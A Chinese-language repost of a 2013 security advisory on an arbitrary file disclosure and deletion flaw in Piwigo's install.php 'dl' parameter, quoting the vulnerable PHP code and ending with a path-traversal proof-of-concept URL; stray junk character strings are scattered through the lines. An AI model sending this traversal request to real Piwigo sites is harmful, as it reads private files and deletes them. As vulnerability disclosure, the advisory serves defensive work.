Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

' s1 N# _8 I6 \. J, Y$ OPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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; s9 N6 |$ e$ ~1 W/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 L8 ^; U" {: X; a, U114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
- p( n9 P6 V# s1 ], S! t$ I117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
5 F$ w& l& o$ m3 ?4 a7 M0 u: N! f121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
: b1 z1 y+ ]/ c) e7 K( q====================================================================
3 I* f0 @6 o( Q
3 A5 Y2 d0 K  m, x: [; WTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
' l* K7 }7 R8 ^/ R" l9 h3 N: b           MySQL 5.5.25a

; |% v6 D0 P8 Q( f. t% rVulnerability discovered by Gjoko 'LiquidWorm' Krstic
6 K- ^7 ]; y% N1 e. e# ^                            @zeroscience

3 n$ I$ P" O" g1 h: L9 d/ ]Advisory ID: ZSL-2013-5127
' b+ G' h; o3 _4 V$ ?1 B3 YAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
& c$ w5 F' @3 p( v0 kVendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

1 O1 W' E0 Q2 Y( |- |1 |--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
$ {% f3 J7 B% X" j8 R
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